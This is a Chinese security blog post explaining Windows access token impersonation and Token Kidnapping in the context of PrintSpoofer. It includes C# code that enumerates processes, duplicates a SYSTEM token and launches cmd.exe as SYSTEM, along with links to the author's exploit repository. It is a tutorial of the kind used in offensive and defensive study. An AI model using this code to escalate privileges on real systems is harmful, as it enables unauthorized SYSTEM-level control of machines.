长亭百川云 - 文章详情

从pipePotato中学习Windows Access Token令牌模拟

小陈的Life

70

2024-07-13

戳上面的蓝字关注我们哦!


上周安全研究员itm4n发布了PrintSpoofer权限提升:https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/。经过分析Github上的代码(也可以看这篇360灵腾安全实验室发布的原理分析:https://www.anquanke.com/post/id/204510)大致成因是spoolsv.exe进程会注册一个 rpc 服务,任何授权用户可以访问他,同时攻击者可以利用Server names规范问题注册一个命名管道,而同时System用户访问该管道的时候,我们就可以模拟该token创建一个System权限的进程。下面就简单讲一下Token模拟的原理。

01 Windows Access Token 简介

Windows Token其实叫Access Token(访问令牌),它是一个描 述进程或者线程安全上下文的一个对象。不同的用户登录计算机后, 都会生成一个Access Token,这个Token在用户创建进程或者线程 时会被使用,不断的拷贝,这也就解释了A用户创建一个进程而该 进程没有B用户的权限。

1.Access Token种类

  • 主令牌(Primary令牌)

  • 模拟令牌(Impersonation令牌)

两种token只有在系统重启后才会清除;授权令牌在用户注销后,该令牌会变为模拟令牌依旧有效。

2.Access Token的组成

  • 用户账户的安全标识符(SID)

  • 用户所属的组的SID

  • 用于标识当前登陆会话的登陆SID

  • 用户或用户组所拥有的权限列表

  • 所有者SID

  • 主要组的SID

  • 访问控制列表

  • 访问令牌的来源

  • 令牌是主要令牌还是模拟令牌

  • 限制SID的可选列表

  • 目前的模拟等级

  • 其他统计的数据

可以通过whoami /user命令查看当前的SID

3.Windows Access Token的产生过程

使用凭据(用户密码)进行认证-->登录Session创建-->Windows返回用户sid和用户组sid-->LSA(Local Security Authority)创建一个Token-->依据该token创建进程、线程(如果CreaetProcess时自己指定了 Token, LSA会用该Token, 否则就继承父进程Token进行运行)

4.编写一个模拟令牌demo

首先了解下令牌的四个模拟级别,分别是:Anonymous,Identification,Impersonation,Delegation

  • Anonymous:服务器无法模拟或识别客户端。

  • Identification:服务器可以获取客户端的身份和特权,但不能模拟客户端。

  • Impersonation:服务器可以在本地系统上模拟客户端的安全上下文。

  • Delegation:服务器可以在远程系统上模拟客户端的安全上下文。

所以当令牌具有Impersonation和Delegation级别的时候才可以进行模拟。

有了令牌了,就需要进一步利用令牌做点事情,下述列出了三个通过用户身份创建进程的函数

函数

需要的特权

需要输入的值

CreateProcessWithLogon()

null

域/用户名/密码

CreateProcessWithToken()

SeImpersonatePrivilege

Primary令牌

CreateProcessAsUser()

SeAssignPrimaryTokenPrivilege和SeIncreaseQuotaPrivilege

Primary令牌

言而总之,只要我们有SeAssignPrimaryToken或者SeImpersonate权限,就可以通过模拟Primary令牌来提升权限

而Primary令牌可以通过DuplicateTokenEx调用一个Impersonation令牌来转换。

所以一个模拟令牌的过程大概是:OpenProcess(获取目标进程上下文)->OpenProcessToken(获得进程访问令牌的句柄)-->DuplicateTokenEx(创建一个主/模拟令牌)-->CreateProcessWithTokenW(创建进程)

接下来便要开始拓展一下“Token Kidnapping”技术了,https://msrc-blog.microsoft.com/2009/04/14/token-kidnapping/

在这篇报告中可以看出Token Kidnapping的核心:

所以,我们则需要对每个进程进行爆破,直到找到满足如下条件的进程:

  1. 进程运行用户是SYSTEM

  2. 令牌级别至少是Impersonation级别

  3. 攻击者运行的权限至少拥有SeImpersonatePrivilege

我在后面使用C#编写了一个demo,大概执行过程我会在这里详细的介绍。并在文章末尾附上Github地址。

`public static Boolean EnumerateUserProcesses()`        `{`            `Boolean rs = false;`            `Process[] pids = Process.GetProcesses();`            `Console.WriteLine("[*] Examining {0} processes", pids.Length);`            `foreach (Process p in pids)`            `{`                `if (p.ProcessName.ToUpper().Equals("System".ToUpper())) {       //跳过进程名为"System"的进程`                    `continue;`                `}`                `IntPtr hProcess = OpenProcess(Flags.PROCESS_QUERY_INFORMATION, true, p.Id);`                `if (IntPtr.Zero == hProcess)`                `{`                    `hProcess = OpenProcess(Flags.PROCESS_QUERY_LIMITED_INFORMATION, true, p.Id); //required for protected processes`                    `if (IntPtr.Zero == hProcess)`                    `{`                        `continue;`                    `}`                `}`                `IntPtr hToken;`                `if (!OpenProcessToken(hProcess, Flags.MAXIMUM_ALLOWED, out hToken))`                `{`                    `continue;`                `}`                `CloseHandle(hProcess);``   `                `UInt32 dwLength = 0;`                `TOKEN_STATISTICS tokenStatistics = new TOKEN_STATISTICS();`                `if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))`                `{`                    `if (!GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenStatistics, ref tokenStatistics, dwLength, out dwLength))`                    `{`                        `continue;`                    `}`                `}``   `                `String userName = String.Empty;`                `if (!GetTokenInformationToUsername(tokenStatistics, ref userName))`                `{`                    `continue;`                `}``   `                `rs = token_elevation(hToken);`                `if (rs)`                `{`                    `Console.WriteLine("模拟成功!PID:" + p.Id);`                    `break;`                `}`            `}`            `return rs;`        `}`

该EnumerateUserProcesses函数中依次获取当前系统的进程PID,并获取对应的Token句柄传入token_elevation利用函数中。

同时在进程的两处OpenProcess函数,是为了绕过操作系统的Protect Process机制(像csrss、smss进程)

但是在传入token_elevation之前,利用两次GetTokenInformation(WIndows系统API)和GetTokenInformationToUsername来进行判断。

GetTokenInformation函数检索指定令牌的相关信息,关于这里为什么要调用两次,是因为第一次调用是为了获取令牌信息需要的缓冲区的大小,这是在使用Win32 API中的一个常用做法, 很多Win32 API都可以这样使用, 目的是不用让程序员总是创建一个假设一定足够的缓冲区, 这在很多时候会造成空间上的浪费

而下一个判断函数GetTokenInformationToUsername,则是利用LookupAccountSid来判断SID的用户是不是SYSTEM

`LookupAccountSid(String.Empty, securityLogonSessionData.Sid, lpName, ref cchName, lpReferencedDomainName, ref cchReferencedDomainName, out sidNameUse);``   `            `userName = lpName.ToString();`            `if (!userName.ToUpper().Equals("System".ToUpper())) {`                `return false;`            `}`

接下来就是重头戏token_elevation函数

`public static Boolean token_elevation(IntPtr hExistingToken) {`            `IntPtr phNewToken;`            `STARTUPINFO StartupInfo = new STARTUPINFO();`            `PROCESS_INFORMATION procinfo = new PROCESS_INFORMATION();`            `StartupInfo.cb = (UInt32)Marshal.SizeOf(StartupInfo);`            `SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();`            `if (!DuplicateTokenEx(`                        `hExistingToken,`                        `Flags.TOKEN_ALL_ACCESS,`                        `ref securityAttributes,`                        `SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,`                        `TOKEN_TYPE.TokenPrimary,`                        `out phNewToken`            `))`            `{`                `return false;`            `}`            `Console.WriteLine("[+] Duplicate The Token!");``   `            `//提升自身进程权限`            `//if (!ImpersonateLoggedOnUser(phNewToken))`            `//{`            `//    return false;`            `//}`            `//Console.WriteLine("[+] Operating as {0}", System.Security.Principal.WindowsIdentity.GetCurrent().Name);``   `            `if (CreateProcessWithTokenW(phNewToken, CREATE_FLAGS.LOGON_WITH_PROFILE, "C:\\Windows\\System32\\cmd.exe", null, CREATION_FLAGS.CREATE_NEW_CONSOLE, IntPtr.Zero, IntPtr.Zero, ref StartupInfo, out procinfo))`            `{`                `Console.WriteLine("[+] SUCCESS");`                `return true;`            `}`            `return false;`        `}`

函数中调用了DuplicateTokenEx转换成TOKEN_TYPE.TokenPrimary,也是Primary令牌。

并调用了CreateProcessWithTokenW创建了一个新的cmd进程

运行效果如下:

但是新建一个进程在虚拟终端中提权有些不便,后面看到冷逸师傅的Github上(https://github.com/lengjibo/RedTeamTools/blob/master/windows/getsystem/GetSystem.exe)的解决方案是通过命令管道来重定向新进程的输出

分析定位到代码

程序是由https://github.com/yusufqk/SystemToken改动之后,调用CreatePipe函数创建命名管道,并将重定向句柄传入StartupInfo结构体中

偷个懒,我就也利用源码自己照着IDA上的伪代码自己写了个demo

运行后如下:

我将C#代码和C++代码都放到我的GIthub上开源了:https://github.com/sf197/TokenPrivilege\_Demo

02 Reference

Reference:

  1. https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

  2. https://github.com/itm4n/PrintSpoofer/blob/master/PrintSpoofer/PrintSpoofer.cpp

  3. https://github.com/0xbadjuju/Tokenvator/

  4. https://github.com/NetSPI/MonkeyWorks

 首发:https://www.anquanke.com/post/id/204721


相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2